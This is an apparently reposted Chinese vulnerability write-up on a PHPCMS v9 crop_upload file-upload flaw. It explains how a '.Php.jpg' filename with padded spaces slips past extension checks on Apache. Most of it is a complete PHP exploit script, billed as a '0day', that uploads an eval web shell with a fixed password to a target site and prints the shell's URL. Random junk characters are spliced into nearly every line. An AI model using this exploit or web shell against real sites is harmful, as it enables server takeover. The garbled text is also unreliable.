漏洞类型: 文件上传导致任意代码执行6 w# x# f& T3 K0 [" p9 e
0 |, v" j5 b$ g0 }2 n# U( Y0 M$ u简要描述:4 T' I/ }+ C1 r- o0 W
' F1 R, v/ V% C, m$ ?) L2 u: z
phpcms v9 getshell (apache)! k9 B4 R$ B5 L- q9 w# F- j
详细说明:* z# N. v6 z+ r( w6 e
: g% P7 E7 z5 r漏洞文件:phpcms\modules\attachment\attachments.php
, A) d( O: P( \+ `8 |$ \ _" S+ k5 u6 a9 ]! T
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
- d L! A9 z7 K2 S# E' c后缀检测:phpcms\modules\attachment\functions\global.func.php+ c+ m p2 U3 o& r, L1 c( {6 w
- _+ O! ^2 q6 C i! F
: i5 K7 b! }/ n- f) ]* L1 _" a( o8 s4 V4 [' ~& K
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
; e# |& l% t0 c
* l, S$ W( r$ [: g关键函数:5 T) n. i4 {* f* w2 `
/ }5 o. s0 I9 x- L 8 Z' f% ^5 e# F+ i i+ [
: ^+ j7 M2 p" ifunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
2 C+ A+ v3 `: a/ v5 }8 }& w2 ^
Fileext函数是对文件后缀名的提取。
* P- [ O/ }2 p: {* ?& P# F根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php! M# K- t6 }2 H3 T8 U
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
( [' G( m# U! z# G# p: G$ M我们回到public function crop_upload() 函数中
/ S5 Z2 l8 H) }/ hif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
0 r- c9 ?: N- B7 j0 T5 H, T在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
5 i2 g" U+ A. v这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。4 ?5 M* c7 n q( E4 n6 t4 J
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
) G& ]; I" M7 `最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
; B9 u+ r' o0 O# m# l) \3 Z看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
0 E! r* x, P0 x8 R漏洞证明:# o$ v0 S" M4 L% X
) T# v z2 s$ p' z' Z
exp:
8 _2 D) e H& V: ?6 a, o$ d- S+ X8 C) a7 s
<?php
# j! M) Z/ {0 _* z$ Y) [error_reporting(E_ERROR);' O4 z! ~2 d, C; S
set_time_limit(0);, s8 n9 S) I) |3 w9 G! B7 R1 O
$pass="ln";
5 U1 z! n5 J5 q5 i4 wprint_r('
2 g5 p4 }6 @/ _; O* ^- B+---------------------------------------------------------------------------+
" T8 b6 s" z' zPHPCms V9 GETSHELL 0DAY ) P5 o( _1 b0 X1 m+ n; a0 V1 y
code by L.N., [! k- q/ k5 Y
# r& g0 S8 I4 i+ Z7 F+ vapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net' f' C* y" [. v5 \) _6 ^$ B; `
+---------------------------------------------------------------------------+% K0 x/ e$ s9 Z6 c- L! i* Q
');
& `+ E' _- D8 q! \( ^ N2 Nif ($argc < 2) {4 U! m: N& S! H& i* j
print_r(', D! {& d+ W2 K3 J0 ^% ~
+---------------------------------------------------------------------------+
5 c7 j3 T* S7 c8 S" RUsage: php '.$argv[0].' url path# L* z+ x! z' B+ o7 f
9 [9 E c# }. s" @0 e, F" vExample:- w5 K) V3 c; u3 q3 T
1.php '.$argv[0].' lanu.sinaapp.com
8 g5 y2 q2 Y7 H4 u4 n, U7 L2.php '.$argv[0].' lanu.sinaapp.com /phpcms6 Y! p2 m& O9 c2 K9 O! h
+---------------------------------------------------------------------------+
9 t5 m3 h6 |. D r/ R');( V% I9 v4 q/ r; T$ h. C7 p
exit;2 J) D1 w) ]% q4 J6 b
}( g/ L- M) p- D0 y
) v% q: k4 g" _3 M$url = $argv[1];
# i! J- U, A @' {' n; G$path = $argv[2];/ h) N+ P9 ^7 b0 k, A* I. l! t
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';+ O4 b5 h4 X* C$ f5 m. ^& {6 @
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
9 C9 E2 U9 k6 e+ \ E# S* V; Rif($ret=Create_dir($url,$path))
& ~4 D6 h) T# ?3 E" r{6 Q5 t- x. ^) T4 @8 w
//echo $ret;
0 C; \5 g& H& A$pattern = "|Server:[^,]+?|U";8 V4 E6 H2 F7 S
preg_match_all($pattern, $ret, $matches);) x2 m3 f7 B: Q6 r8 l
if($matches[0][0])5 k% @$ N: `' m
{" K3 f' P5 h4 j
if(strpos($matches[0][0],'Apache') == false)! Z2 F1 e2 g" l- N+ B5 c; ?
{* u4 G7 }5 \' W6 O' Y& P
echo "\n亲!此网站不是apache的网站。\n";exit;0 A5 r% ~ \$ I' y$ E4 }
}
- p+ @( Q' v* J( ^}
+ R& `( T1 m8 l: Q$ x! R$ret = GetShell($url,$phpshell,$path,$file);
9 e7 k2 A4 p1 u! ] @1 l! y$pattern = "|http:\/\/[^,]+?\.,?|U";& b, G; [' A1 r4 P+ J* O
preg_match_all($pattern, $ret, $matches);2 q& E3 }% b+ P9 e* |
if($matches[0][0])
% B6 m: G. F$ Z- l; l{1 m1 Z. j. m: O5 O, @: [2 K
echo "\n".'密码为: '.$pass."\n";
. e1 u9 ]( a8 v/ m @7 Necho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;( T6 |5 G0 D( U, V' `% ~7 O$ M$ h9 N
}
& P' o9 u* H2 Celse) y/ ~6 o/ A7 u/ }5 A6 k3 o
{/ E4 k d7 a9 w* Z/ ^ h$ f4 [) j
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
/ c2 {. j0 f& e4 bpreg_match_all($pattern, $ret, $matches);6 S7 r- M3 `! b& U5 G5 }
if($matches[0][0]). y9 @; `$ B0 [- R' Y* f" x1 x
{
( K+ |" p- |2 Fecho "\n".'密码为: '.$pass."\n";
, m5 F2 i* A5 P I! Y$ ~echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
( {! y% z, m8 ^ A) Z2 ^}
+ u& ?0 h) T8 @" a$ h# S# o. Selse
$ G, @# o' v8 a$ H+ l) |2 m* @{1 G) X% x* L& t8 ?9 V$ _
echo "\r\n没得到!\n";exit;
5 y% b; C$ u) ]; o}9 V1 O# O# D- K1 W" g7 d
}. O! C% F0 r7 k3 r6 r8 s
}
' Z# r* B2 n0 e7 R8 A0 Z
3 A+ R; U# v1 M: B' mfunction GetShell($url,$shell,$path,$js)
8 x7 F8 J2 C7 S0 T4 c# e{. J" l0 y! ?4 T8 t& b
$content =$shell;
4 W- X3 p6 Y' q8 n$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";* Y- w3 s$ J- o1 ?
$data .= "Host: ".$url."\r\n";
4 }% [$ f! c9 j, D$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";0 x ?8 G& U2 @3 {, }' j& q
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";1 B, @5 z7 N# S) o; X
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";& \4 x v0 H2 q' A# B1 \8 J: O3 z
$data .= "Connection: close\r\n";
, E5 C/ l9 f0 _9 F, `" Y6 }8 m& x7 k$data .= "Content-Length: ".strlen($content)."\r\n\r\n";' y8 L) ^2 b: a& G( f
$data .= $content."\r\n";% v+ d2 P7 e) u! n
$ock=fsockopen($url,80);3 f- v, x' ]1 D
if (!$ock)
" E+ E. o4 _* j+ [; M{& \) R$ Q6 _% ~# f7 U, w
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
4 W6 k3 k4 ^9 h0 L}' S; i9 H A z, g4 e/ v
else
?5 v$ ^* K( s: F8 D- i* r{' ?! N f" j8 J: U! }& K/ N
fwrite($ock,$data);4 I* g* |# Z$ h' c# z: f3 \3 |. g
$resp = '';8 [* k0 R8 P# g- B; C, V
while (!feof($ock))
9 o/ A' S1 t% t* I3 O{ }) @+ \4 n5 m; {9 h
$resp.=fread($ock, 1024);( o% q4 \7 r' _( u1 z
}
% F g5 u4 ^7 f6 |2 U- O" M" Vreturn $resp;
! G4 T/ J$ g& J) [7 c- r}8 h, g% G8 ^- z- d4 B! i7 d y& g
}
' W# Z6 X6 j( Z4 ?0 y" x5 z) h
) F2 m+ \# U1 h" H: {) f! H1 Ofunction Create_dir($url,$path='')
% _: ]# N6 X- Z) K( [{
7 U- T3 q- h k* ^( \* }$content ='I love you';$ q5 ~- N' ~* p" N) q; i
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
r. g! K2 v1 V) ?5 b% Q: {. p$data .= "Host: ".$url."\r\n";
$ o) _* K y# w0 Y! H$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";- d& D- O% U/ ]. V3 {3 A
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
: e5 H3 R2 l1 R$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
7 M5 z2 p- }9 ^/ Q3 w# ]" J$data .= "Connection: close\r\n";
& @* l# J4 U8 M1 U$data .= "Content-Length: ".strlen($content)."\r\n\r\n";7 ]9 G7 G) Y* H" O# m& Z! c" W
$data .= $content."\r\n";
& W. G1 c& L! R3 M( y% S6 e5 q$ock=fsockopen($url,80);/ {: C9 j. J' l, h
if (!$ock), |7 \. R' D, r; i4 M5 N
{+ b& l: O# O6 |: a, N9 @3 k
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
0 C2 `" {% k& P- a}
& y0 x( w N8 ^3 {9 Ofwrite($ock,$data);
( T8 T1 n0 T o" [$resp = '';& [, V( U1 W4 J) U& p
while (!feof($ock))) X- ~0 b$ w' v9 |% ]
{2 h/ l* c/ H8 Y \
$resp.=fread($ock, 1024);
1 i* x7 b3 R7 c D# o}
' [# w5 v5 `) R5 Q, m! ireturn $resp;5 S' Y3 ^$ }! [: C
}
t4 `9 |1 r1 m* Q' B?> 0 `" s. y$ E( c; U" m
+ x8 F, r/ m# f& j! N修复方案:. l- d4 ]1 k( g4 R- h
" a4 M6 A) C/ g过滤过滤再过滤
! k5 e! r5 \; m- X7 Y4 C# i, i+ L1 X
h# u1 x) f, X# v! I/ c6 w, L |